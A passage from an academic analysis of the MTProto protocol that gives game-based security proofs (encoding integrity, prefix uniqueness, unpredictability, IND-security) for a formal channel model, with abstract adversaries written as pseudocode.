by Send(u, ·, ·, ·) includes a 96-bit counter seq_no (in a fixed position of p) that starts at 0 and is
incremented modulo 296 after each time a message is encoded.

We now consider the two cases listed above. Let

p = salt ∥ sid ∥ seq_no ∥ length ∥ m′ ∥ padding.

Let stME,u = (sid, ·,Nrecv,u) be the ME state of the user u at the beginning of the current call to
Recv(u, p, aux), where aux is an arbitrary auxiliary information string.

Payload p is reused. There was a prior call to the oracle Recv(u, p, aux′′) that successfully decoded p,
meaning the transcript tru now contains (recv,m′, p, aux′′) for m′ ≠ ⊥. We know that the condition
seq_no = Nrecv evaluated to true inside ME.Decode during the prior call (where seq_no was parsed
from p[128 : 224], and Nrecv < Nrecv,u is a prerequisite to the prior decoding having succeeded). This
means that the condition seq_no = Nrecv,u will evaluate to false during the current call, and the
decoding will fail (i.e. return ⊥). But the support function supp(u, tru, tru, p, aux) likewise returns
m∗ = ⊥, because find(recv, tru, p) iterates over all recv-type entries in tru and finds a match for p that
corresponds to the decoded message m′ ≠ ⊥. We are guaranteed that m = m∗, and hence A cannot
set the win flag in this case.

Payload p is fresh. Either there was no Recv(u, p, aux′′) call in the past for any aux′′, or each entry
(recv,m, p, ·) in the transcript tru has m = ⊥. The function supp(u, tru, tru, p, aux) first makes a
call to find(recv, tru, p) which returns (nu,⊥) where nu is the number of entries of tru of the form
(recv,m, p′, ·) for m ≠ ⊥ and p′ ≠ p. Next, it calls find(sent, tru, p) which returns (nu,m′) because
tru contains the entry (sent,m′, p, aux′), where nu is the number of entries of tru that were sent
before and including the target entry. Then, the support function checks whether nu = nu + 1.

Let us consider both nu and nu. Whenever an entry (recv,m, p′, ·) form ≠ ⊥ is added to tru, it means
that the output of ME.Decode included a changed state that incremented the number of received
messages by one. Hence nu = Nrecv,u. Similarly, an entry (sent,m, ·, ·) is only added to tru when
ME.Encode was called, saving the prior number of sent messages Nsent,u in the sequence number
field seq_no, then incrementing it by one and including it in the updated state of ME. It follows that
nu = seq_no + 1 as long as nu ≤ 296, which we assumed at the beginning. Then, the support function
and the algorithm ME.Decode(stME,u, p, aux) both evaluate the same condition, checking whether
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seq_no + 1 = Nrecv,u + 1. Hence the support function returns m′ if and only if ME.Decode does, and
A cannot win in this case either. This concludes the proof.

Counter overflows. For completeness, let us now deal with the case of an overflow (modulo 296)
happening in the Nsent and Nrecv counters of MTP-ME. In this case, we show that there exists an
adversary that can trivially win with advantage 1.

Proposition 6. Let sid ∈ {0, 1}64 and npad, `block ∈ N. LetME =MTP-ME[sid,npad, `block] and supp =

SUPP. LetA be an adversary against the EINT-security of ME with respect to supp as defined in Fig. 6.31,
making q = 296 + 1 queries to its oracle Send. Then

Adveint
ME,supp (A) = 1.

Adversary ASend,Recv(stME,I, stME,R)
1 : // Let aux = ε. Choose any m ∈ ME.MS and r ∈ ME.EncodeRS.

2 : for i = 0, . . . , 296 do
3 : pi ← Send(I,m, aux, r)
4 : Recv(R, pi, aux)

Figure 6.31. AdversaryA against the EINT-security of MTP-ME with respect to SUPP for the proof
of Proposition 6.

Proof. The adversary A repeatedly queries its oracles Send and Recv in order to exhaust all possible
values of the 96-bit field seq_no. When the user I sends the 296-th payload, its counter overflows
(modulo 296) to become Nsent = 0; after the user R accepts this payload, its counter likewise overflows
to become Nrecv = 0. It follows that the next payload will be equal to the first payload, i.e. p0 = p296 .

This causes a mismatch: in ME.Decode the seq_no check passes because the counter wrapped around,
and so it returns m. But the corresponding evaluation of supp in the game Geint

ME,supp,A determines
that the label p296 = p0 was already received before (i.e. find(recv, trR, p0) → m ≠ ⊥) so the support
function returns ⊥. This triggers the win flag in the game Geint

ME,supp,A .

6.6.3 Prefix uniqueness (UPREF) of MTP-ME

We require that payloads produced by MTP-ME have distinct prefixes of size 256 bits (independently
for each user u ∈ {I,R}).

Definition 37 (UPREF-security). Consider the game Gupref
ME,A in Fig. 6.32 defined for a message

encoding scheme ME and an adversary A. The advantage of an adversary A in breaking the
UPREF-security of ME is defined as Advupref

ME (A) B Pr
[
Gupref

ME,A

]
.
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Gupref
ME,A

1 : win← false
2 : (stME,I, stME,R) ←$ ME.Init()
3 : XI ← ∅ ; XR ← ∅
4 : ASend

5 : return win

Send(u,m, aux, r)
1 : (stME,u, p) ← ME.Encode(stME,u,m, aux; r)
2 : if

��p�� < 256 then return ⊥
3 : p0 ← p[0 : 256]
4 : if p0 ∈ Xu then win← true

5 : Xu ← Xu ∪
{
p0

}
6 : return p

Figure 6.32. Prefix uniqueness of a message encoding scheme ME.

Given the fixed prefix size, this notion cannot be satisfied against unbounded adversaries. Our
MTP-ME scheme ensures unique prefixes using the 96-bit counter seq_no that contains the number
of messages sent by user u, so we have Advupref

ME (A) = 0 for any A making at most 296 queries, and
otherwise there exists an adversary A such that Advupref

ME (A) = 1. Note that MTP-ME always has
payloads larger than 256 bits. The MTProto implementation of message encoding we analysed was
not UPREF-secure as it allowed repeated msg_id (see Section 5.3.2).

6.6.4 Encoding robustness (ENCROB) of MTP-ME

We require that decoding in MTP-ME should not affect its state in such a way that would be visible in
future encoded payloads.

Definition 38 (ENCROB-security). Consider the game Gencrob
ME,D in Fig. 6.33 defined for a message

encoding scheme ME and an adversary D. The advantage of an adversary D in breaking the
ENCROB-security of ME is defined as Advencrob

ME (D) B 2 · Pr
[
Gencrob

ME,D

]
− 1.

Gencrob
ME,D

1 : b ←$ {0, 1}
2 : (stME,I, stME,R) ←$ ME.Init()
3 : b ′ ←$ DSend,Recv

4 : return b ′ = b

Send(u,m, aux, r)
1 : (stME,u, p) ← ME.Encode(stME,u,m, aux; r)
2 : return p

Recv(u, p, aux)
1 : if b = 1 then
2 : (stME,u,m) ← ME.Decode(stME,u, p, aux)
3 : return ⊥

Figure 6.33. Encoding robustness of a message encoding scheme ME.

This advantage is trivially zero for both MTP-ME and the original MTProto message encoding scheme
in Appendix D.4. Note, however, that this property prevents a message encoding scheme from building
payloads that include the number of previously received messages. It is thus incompatible with stronger
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notions of resistance against reordering attacks such as the global transcript (see Section 5.3.1).

6.6.5 Unpredictability (UNPRED) of MTP-SE with respect to MTP-ME

We require that decryption in MTP-SE with uniformly random keys has unpredictable outputs with
respect to MTP-ME.

Definition 39 (UNPRED-security). Consider the game Gunpred
SE,ME,A in Fig. 6.34 defined for a

symmetric encryption scheme SE, a message encoding scheme ME and an adversary A. The
advantage of A in breaking the UNPRED-security of SE with respect to ME is defined as
Advunpred

SE,ME (A) B Pr
[
Gunpred

SE,ME,A

]
.

Gunpred
SE,ME,A

1 : win← false

2 : AExpose,Ch

3 : return win

Expose(u,msk) // u ∈ {I,R},msk ∈ {0, 1}∗

1 : S[u,msk] ← true
2 : return T[u,msk]

Ch(u,msk, cSE, stME, aux) // msk ∈ {0, 1}∗

1 : if ¬S[u,msk] then
2 : if T[u,msk] = ⊥ then

3 : T[u,msk] ←$ {0, 1}SE.kl

4 : k ← T[u,msk]
5 : p← SE.Dec(k, cSE)
6 : (stME,m) ← ME.Decode(stME, p, aux)
7 : if m ≠ ⊥ then win← true
8 : return ⊥

Figure 6.34. Unpredictability of a deterministic symmetric encryption scheme SE with respect to a
message encoding scheme ME.

The gameGunpred
SE,ME,A in Fig. 6.34 gives an adversaryA access to two oracles. For any user u ∈ {I,R} and

message key msk, the challenge oracle Ch decrypts a given ciphertext cSE of deterministic symmetric
encryption scheme SE under a uniformly random key k ∈ {0, 1}SE.kl, and then decodes it using
the given message encoding state stME of message encoding scheme ME, returning no output. The
adversary is allowed to choose arbitrary values of cSE and stME; it is allowed to repeatedly query the
oracle Ch on inputs that contain the same values for u,msk in order to reuse a fixed, secret SE key k
with different choices of cSE. The oracle Expose lets A learn the SE key corresponding to the given u
and msk; the table S is then used to disallow the adversary from querying Ch with this pair of u and
msk values again. A wins if it can cause ME.Decode to output a valid m ≠ ⊥. Note that msk in this
game merely serves as a label for the tables, so we allow it to be an arbitrary string msk ∈ {0, 1}∗.

We now prove unpredictability of the deterministic symmetric encryption scheme SE = MTP-SE
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with respect to the message encoding scheme ME = MTP-ME. In our proof, we show that it is hard
for any adversary A to find an SE ciphertext cSE such that its decryption under a uniformly random
key k ∈ {0, 1}SE.kl begins with p1 = salt ∥ sid, where sid is a value chosen by the adversary via stME

and salt is arbitrary.

Recall that Definition 28 specifies MTP-SE = IGE[AES-256]. We state and prove our result for a more
general case of SE = IGE[E], where E is an arbitrary block cipher with block length E.ol = 128 (that
matches the output block length `block of ME).

Note that our proof is not tight, i.e. the advantage could potentially be lower if we also considered
the seq_no and length fields in the second block. However, this would complicate analysis and
possibly overstate the security of MTProto as implemented, given that we made the modelling choice
to check more fields in MTP-ME upon decoding. The bound could also be improved if MTP-ME
checked the salt in the first block, however this would deviate even further from the current MTProto
implementation and so we did not include this in our definition.

Proposition 7. Let sid ∈ {0, 1}64, npad ∈ N and `block = 128. Let ME = MTP-ME[sid,npad, `block]. Let
E be a block cipher with block length E.ol = 128. Let SE = IGE[E]. LetA be any adversary against the
UNPRED-security of SE,ME making qCh queries to its oracle Ch. Then

Advunpred
SE,ME (A) ≤

qCh
264
.

Proof. We rewrite the gameGunpred
SE,ME,A (Fig. 6.34) as the gameG in Fig. 6.35 by expanding the algorithms

SE.Dec and ME.Decode with the following relaxations.

The algorithm SE.Dec is partially expanded to only decrypt the first block of the ciphertext cSE into
a 128-bit long payload block p1. The algorithm ME.Decode is partially expanded to only surface the
sanity check on p1, which (as per Fig. 6.8) should consist of two concatenated 64-bit values salt ∥ sid,
where sid should match the fixed constant that is stored inside the ME’s state stME. Since the game
G does not implement all of the checks from ME.Decode, A is more likely to win in G than in the
original game Gunpred

SE,ME,A , but A is not able to detect these changes because Ch always returns ⊥. We
have

Advunpred
SE,ME (A) ≤ Pr[G] .

The adversary A can only win in the game G if p1 [64 : 128] = sid for some p1 that is defined by the
equation p1 = E.Inv(k, c1 ⊕ p0) ⊕ c0. We can rewrite this winning condition as

E.Inv(k, c1 ⊕ p0) [64 : 128] ⊕ sid = c0 [64 : 128] .

Here, c0 [64 : 128] is a bit string that is sampled uniformly at random for each pair (u,msk) and that
is unknown to the adversary.
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Game G

1 : win← false

2 : AExpose,Ch

3 : return win

Expose(u,msk)
1 : S[u,msk] ← true
2 : return T[u,msk]

Ch(u,msk, cSE, stME, aux)
1 : if ¬S[u,msk] then
2 : if T[u,msk] = ⊥ then

3 : T[u,msk] ←$ {0, 1}SE.kl

4 : k′ ← T[u,msk]
5 : k ∥ c0 ∥ p0 ← k′

6 : c1 ← cSE [0 : 128]
7 : p1 ← E.Inv(k, c1 ⊕ p0) ⊕ c0

8 : (sid,Nsent,Nrecv) ← stME

9 : sid′ ← p1 [64 : 128]

10 : if sid′ = sid then
11 : win← true
12 : return ⊥

Figure 6.35. Game G for the proof of Proposition 7. Assume that k′ is parsed such that
��k�� =

E.kl, |c0 | =
��p0�� = 128. The code expanded from the game Gunpred

SE,ME,A is highlighted in grey .

Consider for a moment a particular pair (u,msk); suppose that A makes qu,msk queries to Ch relating
to this pair. These queries result in some specific set of values Xu,msk for E.Inv(k, c1⊕p0) [64 : 128] ⊕ sid
arising in the game. Moreover, A wins for one of these queries if and only if some element of the set
Xu,msk matches c0 [64 : 128]. Note also thatA learns nothing about c0 [64 : 128] from each such query
(since the Ch oracle always returns ⊥). Combining these facts, we see that A’s winning probability
for this set of qu,msk queries is no larger than qu,msk/264 (in essence, A can do no better than random
guessing of distinct values for the unknown 64 bits). Moreover, while the adversary can learn c0 for
any (u,msk) pair after-the-fact using Expose, it cannot continue querying Ch for this value once the
query is made, which makes the output of that oracle useless in winning the game.

Considering all pairs (u,msk) involved in A’s queries and using the union bound, we get that

Pr[G] ≤
qCh
264
.

The inequality follows.
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6.7 Correctness and security of the MTProto channel

In this section, we prove that the channel MTP-CH satisfies correctness, indistinguishability and
integrity as defined in Section 6.2.4.

6.7.1 Correctness of MTP-CH

We claim that our MTProto-based channel satisfies our correctness definition. Consider any adversary
A playing in the correctness game Gcorr

CH,supp,A (Fig. 6.2) with the channel CH = MTP-CH (Fig. 6.7)
and the support function supp = SUPP (Fig. 6.30). Due to the definition of SUPP, the Recv oracle
in the game rejects all MTP-CH ciphertexts that were not previously returned by the Send oracle.

The encryption and decryption algorithms of the channel MTP-CH rely in a modular way on the
message encoding scheme MTP-ME, the deterministic function families MTP-KDF,MTP-MAC, and
the deterministic symmetric encryption scheme MTP-SE; the latter provides decryption correctness,
so any valid ciphertext processed by the Recv oracle correctly yields the originally encrypted pay-
load p. Thus, we need to show that MTP-ME always recovers the expected plaintext m from the
payload p, meaning m matches the corresponding output of SUPP. In Section 6.2.5, we formalised
this requirement as the encoding correctness of MTP-ME with respect to SUPP, and discussed that it
is also implied by the encoding integrity of MTP-ME with respect to SUPP. We proved the latter in
Section 6.6.2 for adversaries that make at most 296 queries.

6.7.2 IND-security of MTP-CH

We begin our IND-security reduction by considering an arbitrary adversary DIND playing in the
IND-security game against the channel CH = MTP-CH (i.e. Gind

CH,DIND
in Fig. 6.4), and we gradually

change this game until we can show that DIND can no longer win.

To this end, we make three key observations:

(1) Recall that the Recv oracle always returns ⊥, and the only functionality of this oracle is to
update the state of the receiver’s channel by calling CH.Recv. We assume that calls to CH.Recv
never affect the ciphertexts that are returned by future calls to CH.Send (more precisely, we
use the ENCROB property of ME that reasons about payloads rather than ciphertexts). This
allows us to completely disregard the Recv oracle, making it immediately return ⊥ without
calling CH.Recv.

(2) We use the UPRKPRF-security ofMAC to show that the ciphertexts returned by the Send oracle
contain msk values that look uniformly random and are independent of each other. Roughly,
this security notion requires that MAC can only be evaluated on a set of inputs with unique
prefixes. We ensure that the payloads produced by ME meet this requirement (as formalised by
the UPREF property of ME).
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(3) In order to prove that the Send oracle does not leak the challenge bit, it remains to show that
ciphertexts returned by Send contain cSE values that look uniformly random and independent of
each other. This follows from the OTIND$-security of SE. We invoke the OTWIND-security
of HASH to show that aid does not leak any information about the KDF keys; we then use
the RKPRF-security of KDF to show that the keys used for SE are uniformly random. Finally,
we use the birthday bound to argue that the uniformly random values of msk are unlikely to
collide, and hence the keys used for SE are also one-time.

Formally, we have:

Theorem 1. Let ME, HASH, MAC, KDF, ϕMAC, ϕKDF, SE be any primitives that meet the requirements
stated in Definition 22 of the channel MTP-CH. Let CH = MTP-CH[ME,HASH,MAC,KDF, ϕMAC,

ϕKDF,SE]. Let DIND be any adversary against the IND-security of CH, making qSend queries to its Send
oracle. Then we can build the adversariesDOTWIND,DRKPRF,DENCROB,AUPREF,DUPRKPRF,DOTIND$

such that

Advind
CH (DIND) ≤ 2 ·

(
Advotwind

HASH (DOTWIND) + Advrkprf
KDF,ϕKDF

(DRKPRF)

+ Advencrob
ME (DENCROB) + Advupref

ME (AUPREF)

+ Advuprkprf
MAC,ϕMAC

(DUPRKPRF) +
qSend · (qSend − 1)

2 · 2MAC.ol

+ Advotind$
SE (DOTIND$)

)
.

Proof. This proof uses the games G0–G3 in Fig. 6.36 and G4–G8 in Fig. 6.40. The adversaries for
the transitions between the games are referenced throughout the proof. Each constructed adversary
simulates one or two subsequent games of the security reduction for DIND.

G0. The game G0 is equivalent to the game Gind
CH,DIND

(Fig. 6.4). It expands the code of the algorithms
CH.Init, CH.Send and CH.Recv. It follows that

Advind
CH (DIND) = 2 · Pr[G0] − 1.

G0 → G1. The value of aid depends on the raw KDF and MAC keys (i.e. kk and mk), and the
adversary DIND can learn it from any ciphertext returned by the oracle Send. To invoke PRF-style
security notions for either primitive in later steps, we appeal to the OTWIND-security of HASH,
which essentially guarantees that aid leaks no information about KDF and MAC keys. The game
G1 is the same as the game G0, except aid ← HASH.Ev(hk, ·) is evaluated on a uniformly random
string x rather than on kk ∥ mk. We claim that DIND cannot distinguish between these two games.
In Fig. 6.37, we define an adversary DOTWIND attacking the OTWIND-security of HASH as follows.
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Games G0–G3

1 : b ←$ {0, 1}

2 : hk←$ {0, 1}HASH.kl

3 : kk←$ {0, 1}672

4 : mk←$ {0, 1}320

5 : x ← kk ∥ mk // G0

6 : x ←$ {0, 1}992 // G1–G3

7 : aid ← HASH.Ev(hk, x)
8 : (kkI, kkR) ← ϕKDF (kk)
9 : (mkI,mkR) ← ϕMAC (mk)
10 : (stME,I, stME,R) ←$ ME.Init()

11 : b ′ ←$ DSend,Recv
IND

12 : return b ′ = b

Send(u,m0,m1, aux, r)
1 : if |m0 | ≠ |m1 | then return ⊥
2 : (stME,u, p) ←

3 : ME.Encode(stME,u,mb , aux; r)

4 : msk← MAC.Ev(mku, p)

5 : if T[u,msk] = ⊥ then

6 : T[u,msk] ←$ {0, 1}KDF.ol

7 : k ← KDF.Ev(kku,msk) // G0–G1

8 : k ← T[u,msk] // G2–G3

9 : cSE ← SE.Enc(k, p)

10 : c ← (aid,msk, cSE)
11 : return c

Recv(u, c, aux)
1 : (aid′,msk′, cSE) ← c

2 : if T[u,msk′] = ⊥ then

3 : T[u,msk′] ←$ {0, 1}KDF.ol

4 : k ← KDF.Ev(kku,msk′) // G0–G1

5 : k ← T[u,msk′] // G2–G3

6 : p← SE.Dec(k, cSE)

7 : msk← MAC.Ev(mku, p)

8 : if (msk′ = msk) ∧ (aid′ = aid) then
9 : (stME,u,m) ←

10 : ME.Decode(stME,u, p, aux) // G0–G2

11 : return ⊥

Figure 6.36. Games G0–G3 for the proof of Theorem 1. The code added by expanding the algorithms
of the channel CH in the game Gind

CH,DIND
is highlighted in grey .

In the game Gotwind
HASH,DOTWIND

(Fig. 6.12), DOTWIND takes (x0, x1, aid) as input. We define DOTWIND

to sample a challenge bit b , to parse kk ∥ mk← x1, and to subsequently use the obtained values of
b, kk,mk, aid in order to simulate either of the games G0, G1 for the adversary DIND (the games are
equivalent from the moment these 4 values are chosen). If DIND guesses the challenge bit b , then we
let the adversary DOTWIND return 1; otherwise we let it return 0. Now, let d be the challenge bit in
the game Gotwind

HASH,DOTWIND
, and let d ′ be the value returned by DOTWIND. If d = 1, then DOTWIND

simulates the game G0 for DIND (i.e. kk and mk are derived from the input to HASH.Ev(hk, ·) ), and
otherwise it simulates the game G1 ( i.e. kk andmk are independent from the input to HASH.Ev(hk, ·) ).
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It follows that Pr[G0] = Pr
[
d ′ = 1

�� d = 1
]
and Pr[G1] = Pr

[
d ′ = 1

�� d = 0
]
, and hence

Pr[G0] − Pr[G1] = Advotwind
HASH (DOTWIND) .

Adversary DOTWIND(x0, x1, aid)
1 : kk ∥ mk← x1 // s.t. |kk | = 672, |mk | = 320

2 : b ←$ {0, 1}
3 : (kkI, kkR) ← ϕKDF (kk)
4 : (mkI,mkR) ← ϕMAC (mk)
5 : (stME,I, stME,R) ←$ ME.Init()
6 : b ′ ←$ DSendSim,RecvSim

IND

7 : if b ′ = b then return 1

8 : else return 0

SendSim(u,m0,m1, aux, r)
1 : // Identical to the oracle Send

2 : // in the games G0, G1 of Fig. 6.36.

RecvSim(u, c, aux)
1 : // Identical to the oracle Recv

2 : // in the games G0, G1 of Fig. 6.36.

Figure 6.37. AdversaryDOTWIND against the OTWIND-security ofHASH for the transition between
the games G0–G1.

Adversary DRoR

RKPRF

1 : b ←$ {0, 1}
2 : hk←$ {0, 1}HASH.kl

3 : mk←$ {0, 1}320

4 : x ←$ {0, 1}992

5 : aid ← HASH.Ev(hk, x)
6 : (mkI,mkR) ← ϕMAC (mk)
7 : (stME,I, stME,R) ←$ ME.Init()
8 : b ′ ←$ DSendSim,RecvSim

IND

9 : if b ′ = b then return 1

10 : else return 0

SendSim(u,m0,m1, aux, r)
1 : if |m0 | ≠ |m1 | then return ⊥
2 : (stME,u, p) ← ME.Encode(stME,u,mb , aux; r)
3 : msk← MAC.Ev(mku, p)
4 : k ← RoR(u,msk)
5 : cSE ← SE.Enc(k, p)
6 : c ← (aid,msk, cSE)
7 : return c

RecvSim(u, c, aux)
1 : (aid′,msk′, cSE) ← c

2 : k ← RoR(u,msk′)
3 : p← SE.Dec(k, cSE)
4 : msk← MAC.Ev(mku, p)
5 : if (msk′ = msk) ∧ (aid′ = aid) then
6 : (stME,u,m) ← ME.Decode(stME,u, p, aux)
7 : return ⊥

Figure 6.38. Adversary DRKPRF against the RKPRF-security of KDF for the transition between the
games G1–G2.

G1 → G2. In the transition between the games G1 and G2 (Fig. 6.36), we use the RKPRF-security
of KDF with respect to ϕKDF in order to replace KDF.Ev(kku,msk) with a uniformly random value
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from {0, 1}KDF.ol (and for consistency store the latter in T[u,msk] ). Similarly to the above, in Fig. 6.38
we build an adversary DRKPRF attacking the RKPRF-security of KDF that simulates G1 or G2 for the
adversary DIND, depending on the challenge bit in the game Grkprf

KDF,ϕKDF,DRKPRF
(Fig. 6.21). We have

Pr[G1] − Pr[G2] = Advrkprf
KDF,ϕKDF

(DRKPRF) .

Adversary DSend,Recv
ENCROB

1 : b ←$ {0, 1}
2 : hk←$ {0, 1}HASH.kl

3 : mk←$ {0, 1}320

4 : x ←$ {0, 1}992

5 : aid ← HASH.Ev(hk, x)
6 : (mkI,mkR) ← ϕMAC (mk)
7 : b ′ ←$ DSendSim,RecvSim

IND

8 : if b ′ = b then return 1

9 : else return 0

SendSim(u,m0,m1, aux, r)
1 : if |m0 | ≠ |m1 | then return ⊥
2 : p← Send(u,mb , aux, r)
3 : msk← MAC.Ev(mku, p)
4 : if T[u,msk] = ⊥ then

5 : T[u,msk] ←$ {0, 1}KDF.ol

6 : k ← T[u,msk]
7 : cSE ← SE.Enc(k, p)
8 : c ← (aid,msk, cSE)
9 : return c

RecvSim(u, c, aux)
1 : (aid′,msk′, cSE) ← c
2 : if T[u,msk′] = ⊥ then

3 : T[u,msk′] ←$ {0, 1}KDF.ol

4 : k ← T[u,msk′]
5 : p← SE.Dec(k, cSE)
6 : msk← MAC.Ev(mku, p)
7 : if (msk′ = msk) ∧ (aid′ = aid) then
8 : Recv(u, p, aux)
9 : return ⊥

Figure 6.39. Adversary DENCROB against the ENCROB-security of ME for the transition between
the games G2–G3.

G2 → G3. We invoke the ENCROB property of ME to transition from G2 to G3 (Fig. 6.36). This
property states that calls to ME.Decode do not change ME’s state in a way that affects the payloads
returned by any future calls to ME.Encode, allowing us to remove the ME.Decode call from inside
the oracle Recv in the game G3. In Fig. 6.39, we build an adversary DENCROB against ENCROB of
ME that simulates either G2 or G3 forDIND, depending on the challenge bit in the game Gencrob

ME,DENCROB

(Fig. 6.33), such that
Pr[G2] − Pr[G3] = Advencrob

ME (DENCROB) .
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Games G4–G8

1 : b ←$ {0, 1}
2 : hk←$ {0, 1}HASH.kl

3 : mk←$ {0, 1}320

4 : x ←$ {0, 1}992

5 : aid ← HASH.Ev(hk, x)
6 : (mkI,mkR) ← ϕMAC (mk)
7 : (stME,I, stME,R) ←$ ME.Init()
8 : XI ← ∅ ; XR ← ∅
9 : b ′ ←$ DSend,Recv

IND

10 : return b ′ = b

Send(u,m0,m1, aux, r)
1 : if |m0 | ≠ |m1 | then return ⊥
2 : (stME,u, p) ← ME.Encode(stME,u,mb , aux; r)
3 : if p[0 : 256] ∈ Xu then

4 : bad0 ← true
5 : msk← MAC.Ev(mku, p) // G4

6 : msk←$ {0, 1}MAC.ol // G5–G8

7 : else
8 : msk← MAC.Ev(mku, p) // G4–G5

9 : msk←$ {0, 1}MAC.ol // G6–G8

10 : Xu ← Xu ∪
{
p[0 : 256]

}
11 : k ←$ {0, 1}KDF.ol

12 : if T[u,msk] ≠ ⊥ then

13 : bad1 ← true

14 : k ← T[u,msk] // G4–G6

15 : T[u,msk] ← k
16 : cSE ← SE.Enc(k, p) // G4–G7

17 : cSE ←$ {0, 1}SE.cl(ME.pl( |mb |,r) ) // G8

18 : c ← (aid,msk, cSE)
19 : return c

Recv(u, c, aux)
1 : return ⊥

Figure 6.40. Games G4–G8 for the proof of Theorem 1. The code highlighted in grey was rewritten
in a way that is functionally equivalent to the corresponding code in G3.
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G3 → G4. The game G4 (Fig. 6.40) differs from the game G3 (Fig. 6.36) in the following:

(1) The KDF keys kk, kkI , kkR are no longer used in our reduction games starting from G3, so
they are not included in the game G4 and onwards.

(2) The calls to the Recv oracle in the game G3 no longer change the receiver’s channel state, so
the game G4 immediately returns ⊥ on every call to Recv.

(3) The game G4 rewrites, in a functionally equivalent way, the initialisation and usage of the values
from the PRF-table T inside the oracle Send.

(4) The game G4 adds a set Xu, for each u ∈ {I,R}, that stores the 256-bit prefixes of payloads
that were produced by calling the specific user’s Send oracle. Every time a new payload p is
generated, the added code inside the Send oracle checks whether its prefix p[0 : 256] is already
contained inside Xu, which would mean that another previously seen payload had the same
prefix. Then, regardless of whether this condition passes, the new prefix p[0 : 256] is added to
Xu. We note that the output of the oracle Send in the game G4 does not change depending on
whether this condition passes or fails.

(5) The game G4 adds the Boolean flags bad0 and bad1 that are set to true when the corresponding
conditions inside the oracle Send are satisfied. These flags do not affect the functionality of the
games, and will only be used for the formal analysis that we provide below.

The two games are functionally equivalent, so

Pr[G4] = Pr[G3] .

G4 → G5. The transition from the game G4 to G5 (Fig. 6.40) replaces the value assigned tomskwhen
the newly added unique-prefixes condition is satisfied; the value ofmsk changes from MAC.Ev(mku, p)
to a uniformly random string from {0, 1}MAC.ol. The games G4 and G5 are identical until bad0 is set.
According to the Fundamental Lemma of Game Playing, we have

Pr[G4] − Pr[G5] ≤ Pr
[
badG4

0

]
,

where Pr
[
badG4

0

]
denotes the probability of setting the flag bad0 in the game G4.

The UPREF property of ME states that it is hard to find two payloads returned by ME.Encode such
that their 256-bit prefixes are the same; we use this property to upper-bound the probability of setting
bad0 in the game G4. In Fig. 6.41, we build an adversary AUPREF attacking the UPREF of ME that
simulates the game G4 for the adversaryDIND. Every time bad0 is set in the game G4, this corresponds
to the adversaryAUPREF setting the flag win to true in its own game Gupref

ME,AUPREF
(Fig. 6.32). It follows
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that
Pr

[
badG4

0

]
≤ Advupref

ME (AUPREF) .

Adversary ASend

UPREF

1 : b ←$ {0, 1}
2 : hk←$ {0, 1}HASH.kl

3 : mk←$ {0, 1}320

4 : x ←$ {0, 1}992

5 : aid ← HASH.Ev(hk, x)
6 : (mkI,mkR) ← ϕMAC (mk)
7 : b ′ ←$ DSendSim,RecvSim

IND

SendSim(u,m0,m1, aux, r)
1 : if |m0 | ≠ |m1 | then return ⊥
2 : p← Send(u,mb , aux, r)
3 : msk← MAC.Ev(mku, p)
4 : k ←$ {0, 1}KDF.ol

5 : if T[u,msk] ≠ ⊥ then
6 : k ← T[u,msk]
7 : T[u,msk] ← k
8 : cSE ← SE.Enc(k, p)
9 : c ← (aid,msk, cSE)
10 : return c

RecvSim(u, c, aux)
1 : return ⊥

Figure 6.41. Adversary AUPREF against the UPREF-security of ME for the transition between the
games G4–G5.

Adversary DRoR

UPRKPRF

1 : b ←$ {0, 1}
2 : hk←$ {0, 1}HASH.kl

3 : x ←$ {0, 1}992

4 : aid ← HASH.Ev(hk, x)
5 : (stME,I, stME,R) ←$ ME.Init()
6 : b ′ ←$ DSendSim,RecvSim

IND

7 : if b ′ = b then return 1

8 : else return 0

SendSim(u,m0,m1, aux, r)
1 : if |m0 | ≠ |m1 | then return ⊥
2 : (stME,u, p) ← ME.Encode(stME,u,mb , aux; r)
3 : msk← RoR(u, p)

4 : if msk = ⊥ then msk←$ {0, 1}MAC.ol

5 : k ←$ {0, 1}KDF.ol

6 : if T[u,msk] ≠ ⊥ then
7 : k ← T[u,msk]
8 : T[u,msk] ← k
9 : cSE ← SE.Enc(k, p)
10 : c ← (aid,msk, cSE)
11 : return c

RecvSim(u, c, aux)
1 : return ⊥

Figure 6.42. AdversaryDUPRKPRF against the UPRKPRF-security of MAC for the transition between
the games G5–G6.
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G5 → G6. We use the UPRKPRF-security ofMACwith respect to ϕMAC in order to replace the value
ofmsk fromMAC.Ev(mku, p) to a uniformly random value from {0, 1}MAC.ol in the transition fromG5

to G6 (Fig. 6.40). Note that the notion of UPRKPRF-security only guarantees the indistinguishability
from random when MAC is evaluated on inputs with unique prefixes, whereas the games G5,G6

ensure that this prerequisite is satisfied by only evaluating MAC if p[0 : 256] ∉ Xu. In Fig. 6.42, we
build an adversary DUPRKPRF attacking the UPRKPRF-security of MAC that simulates G5 or G6 for
the adversary DIND, depending on the challenge bit in the game Guprkprf

MAC,ϕMAC,DUPRKPRF
(Fig. 6.24) . It

follows that
Pr[G5] − Pr[G6] = Advuprkprf

MAC,ϕMAC
(DUPRKPRF) .

G6 → G7. The games G6 and G7 (Fig. 6.40) are identical until bad1 is set; so, as above, we have

Pr[G6] − Pr[G7] ≤ Pr
[
badG6

1

]
.

The values of msk ∈ {0, 1}MAC.ol in the game G6 are sampled uniformly at random and independently
across the qSend different calls to the oracle Send, so we can apply the birthday bound to claim the
following:

Pr
[
badG6

1

]
≤

qSend · (qSend − 1)
2 · 2MAC.ol

.

Adversary DRoR

OTIND$

1 : b ←$ {0, 1}
2 : hk←$ {0, 1}HASH.kl

3 : x ←$ {0, 1}992

4 : aid ← HASH.Ev(hk, x)
5 : (stME,I, stME,R) ←$ ME.Init()
6 : b ′ ←$ DSendSim,RecvSim

IND

7 : if b ′ = b then return 1

8 : else return 0

SendSim(u,m0,m1, aux, r)
1 : if |m0 | ≠ |m1 | then return ⊥
2 : (stME,u, p) ← ME.Encode(stME,u,mb , aux; r)
3 : msk←$ {0, 1}MAC.ol

4 : cSE ← RoR(p)
5 : c ← (aid,msk, cSE)
6 : return c

RecvSim(u, c, aux)
1 : return ⊥

Figure 6.43. Adversary DOTIND$ against the OTIND$-security of SE for the transition between the
games G7–G8.

G7 → G8. In the transition from G7 to G8 (Fig. 6.40), we replace the value of the ciphertext cSE

from SE.Enc(k, p) to a uniformly random value from {0, 1}SE.cl(ME.pl( |mb |,r) ) by appealing to the
OTIND$-security of SE. Recall that ME.pl( |mb |, r) is the length of the payload p that is produced by
calling ME.Encode on any message of length |mb | and on random coins r, whereas SE.cl(·) maps the
